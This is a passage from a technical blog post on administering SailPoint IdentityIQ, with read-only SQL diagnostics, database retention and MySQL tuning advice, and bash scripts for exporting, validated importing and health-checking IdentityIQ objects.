       &lt;span class="n"&gt;FROM_UNIXTIME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;DATEDIFF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;FROM_UNIXTIME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;age_days&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;   &lt;span class="n"&gt;spt_workflow_case&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;  &lt;span class="n"&gt;DATEDIFF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;FROM_UNIXTIME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt;  &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;created&lt;/span&gt; &lt;span class="k"&gt;ASC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Table sizes&lt;/strong&gt;, to find what is actually consuming disk:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;ROUND&lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;data_length&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;index_length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;size_mb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;table_rows&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;   &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TABLES&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;  &lt;span class="n"&gt;table_schema&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'identityiq'&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt;  &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_length&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;index_length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt;  &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that IdentityIQ stores timestamps as Unix epoch &lt;strong&gt;milliseconds&lt;/strong&gt; in &lt;code&gt;BIGINT&lt;/code&gt; columns, which is why every date needs &lt;code&gt;FROM_UNIXTIME(col/1000)&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Never Write Directly to the Database
&lt;/h3&gt;

&lt;p&gt;This deserves emphasis because it is the most damaging mistake available to someone comfortable with SQL.&lt;/p&gt;

&lt;p&gt;Most IdentityIQ objects serialize their real content into an &lt;strong&gt;XML blob column&lt;/strong&gt;. The relational columns beside it are a partial, denormalized projection maintained by the application for querying. An &lt;code&gt;UPDATE&lt;/code&gt; that changes a column leaves the XML blob untouched, so the object now disagrees with itself — and the XML wins the next time the object loads.&lt;/p&gt;

&lt;p&gt;Compounding this, Hibernate caches objects in memory. A direct SQL change to a cached object is silently overwritten the next time the application saves it.&lt;/p&gt;

&lt;p&gt;Use the iiq console, the API, or a task. &lt;code&gt;SELECT&lt;/code&gt; freely; never &lt;code&gt;UPDATE&lt;/code&gt;, &lt;code&gt;INSERT&lt;/code&gt;, or &lt;code&gt;DELETE&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Keeping the Database from Growing Forever
&lt;/h3&gt;

&lt;p&gt;Four tables grow without bound if left alone: &lt;code&gt;spt_task_result&lt;/code&gt;, &lt;code&gt;spt_syslog_event&lt;/code&gt;, &lt;code&gt;spt_audit_event&lt;/code&gt;, and &lt;code&gt;spt_provisioning_transaction&lt;/code&gt;. On a busy deployment &lt;code&gt;spt_syslog_event&lt;/code&gt; can reach tens of millions of rows, at which point ordinary queries slow noticeably.&lt;/p&gt;

&lt;p&gt;Schedule the built-in &lt;strong&gt;Perform Maintenance&lt;/strong&gt; task and configure retention in System Setup. Verify it is working:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;COUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                          &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;FROM_UNIXTIME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;MIN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;oldest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;FROM_UNIXTIME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;MAX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;newest&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;   &lt;span class="n"&gt;spt_syslog_event&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;oldest&lt;/code&gt; predates your retention window, purging is not running.&lt;/p&gt;

&lt;h3&gt;
  
  
  MySQL Settings That Matter
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[mysqld]&lt;/span&gt;
&lt;span class="py"&gt;innodb_buffer_pool_size&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;8G        # size to available RAM&lt;/span&gt;
&lt;span class="py"&gt;max_allowed_packet&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;64M       # large XML blobs exceed the 4M default&lt;/span&gt;
&lt;span class="py"&gt;innodb_log_file_size&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;512M&lt;/span&gt;
&lt;span class="py"&gt;character_set_server&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;utf8mb4&lt;/span&gt;
&lt;span class="py"&gt;transaction_isolation&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;READ-COMMITTED&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;max_allowed_packet&lt;/code&gt; is the one that bites first. IdentityIQ writes large XML blobs, and the default rejects them with &lt;code&gt;Packet for query is too large&lt;/code&gt;, usually during aggregation of a large application.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shell Scripting: Automating the Console
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;iiq console&lt;/code&gt; reads from stdin, which makes it scriptable. This is the foundation for backup, deployment, and health-check automation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exporting Objects for Version Control
&lt;/h3&gt;

&lt;p&gt;IdentityIQ objects live in the database and are therefore invisible to Git. A database refresh destroys uncommitted customization. This script exports them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-euo&lt;/span&gt; pipefail

&lt;span class="nv"&gt;IIQ_HOME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;IIQ_HOME&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="p"&gt;/opt/tomcat/webapps/identityiq&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;IIQ_BIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IIQ_HOME&lt;/span&gt;&lt;span class="s2"&gt;/WEB-INF/bin"&lt;/span&gt;
&lt;span class="nv"&gt;EXPORT_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="p"&gt;./iiq-export&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EXPORT_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;/&lt;span class="o"&gt;{&lt;/span&gt;rules,workflows,tasks,applications&lt;span class="o"&gt;}&lt;/span&gt;

export_class&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;cls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nv"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Exporting &lt;/span&gt;&lt;span class="nv"&gt;$cls&lt;/span&gt;&lt;span class="s2"&gt;..."&lt;/span&gt;

  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IIQ_BIN&lt;/span&gt;&lt;span class="s2"&gt;/iiq"&lt;/span&gt; console &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;CONSOLE&lt;/span&gt;&lt;span class="sh"&gt; | grep -v '^&amp;gt;' &amp;gt; "&lt;/span&gt;&lt;span class="nv"&gt;$dest&lt;/span&gt;&lt;span class="sh"&gt;/_list.txt"
list &lt;/span&gt;&lt;span class="nv"&gt;$cls&lt;/span&gt;&lt;span class="sh"&gt;
&lt;/span&gt;&lt;span class="no"&gt;CONSOLE

&lt;/span&gt;  &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; name&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;continue
    &lt;/span&gt;&lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;safe&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;//[^a-zA-Z0-9._-]/_&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IIQ_BIN&lt;/span&gt;&lt;span class="s2"&gt;/iiq"&lt;/span&gt; console &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;CONSOLE&lt;/span&gt;&lt;span class="sh"&gt; &amp;gt;/dev/null
checkout &lt;/span&gt;&lt;span class="nv"&gt;$cls&lt;/span&gt;&lt;span class="sh"&gt; "&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="sh"&gt;" &lt;/span&gt;&lt;span class="nv"&gt;$dest&lt;/span&gt;&lt;span class="sh"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$safe&lt;/span&gt;&lt;span class="sh"&gt;.xml
&lt;/span&gt;&lt;span class="no"&gt;CONSOLE
&lt;/span&gt;  &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$dest&lt;/span&gt;&lt;span class="s2"&gt;/_list.txt"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

export_class Rule         &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EXPORT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/rules"&lt;/span&gt;
export_class Workflow     &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EXPORT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/workflows"&lt;/span&gt;
export_class TaskDefinition &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EXPORT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/tasks"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Exported to &lt;/span&gt;&lt;span class="nv"&gt;$EXPORT_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run it on a schedule, commit the output, and a database refresh becomes recoverable.&lt;/p&gt;

&lt;h3&gt;
  
  
  Deploying XML with Validation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-euo&lt;/span&gt; pipefail

&lt;span class="nv"&gt;IIQ_BIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;IIQ_HOME&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="p"&gt;/opt/tomcat/webapps/identityiq&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/WEB-INF/bin"&lt;/span&gt;
&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"ERROR: &lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt; not found"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp;2
  &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Fail before touching IdentityIQ if the XML is malformed&lt;/span&gt;
find &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'*.xml'&lt;/span&gt; &lt;span class="nt"&gt;-print0&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; f&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;xmllint &lt;span class="nt"&gt;--noout&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"ERROR: invalid XML in &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp;2&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;exit &lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;done

for &lt;/span&gt;f &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;find &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'*.xml'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Importing &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;basename&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IIQ_BIN&lt;/span&gt;&lt;span class="s2"&gt;/iiq"&lt;/span&gt; console &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;CONSOLE&lt;/span&gt;&lt;span class="sh"&gt;
import &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="sh"&gt;
&lt;/span&gt;&lt;span class="no"&gt;CONSOLE
&lt;/span&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;xmllint&lt;/code&gt; pre-check matters because &lt;code&gt;import&lt;/code&gt; on malformed XML can partially apply, leaving the environment in a state neither matching the old nor the new definition.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Health Check Worth Cron-ing
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;span class="c"&gt;# Report IdentityIQ health; exit non-zero if anything is wrong.&lt;/span&gt;

&lt;span class="nv"&gt;DB_USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;DB_USER&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;identityiq&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;DB_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;DB_NAME&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;identityiq&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;CATALINA_OUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CATALINA_OUT&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="p"&gt;/opt/tomcat/logs/catalina.out&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0

q&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; mysql &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DB_USER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DB_PASS&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="nt"&gt;-B&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DB_NAME&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;failed&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;q &lt;span class="s2"&gt;"SELECT COUNT(*) FROM spt_task_result
            WHERE completion_status='Error'
              AND completed &amp;gt; (UNIX_TIMESTAMP(NOW() - INTERVAL 1 DAY) * 1000);"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;failed&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-gt&lt;/span&gt; 0 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WARN: &lt;/span&gt;&lt;span class="nv"&gt;$failed&lt;/span&gt;&lt;span class="s2"&gt; task(s) failed in the last 24h"&lt;/span&gt;
  &lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;span class="k"&gt;fi

&lt;/span&gt;&lt;span class="nv"&gt;stuck&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;q &lt;span class="s2"&gt;"SELECT COUNT(*) FROM spt_workflow_case
           WHERE created &amp;lt; (UNIX_TIMESTAMP(NOW() - INTERVAL 30 DAY) * 1000);"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;stuck&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-gt&lt;/span&gt; 0 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WARN: &lt;/span&gt;&lt;span class="nv"&gt;$stuck&lt;/span&gt;&lt;span class="s2"&gt; workflow case(s) older than 30 days"&lt;/span&gt;
  &lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;span class="k"&gt;fi

if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CATALINA_OUT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
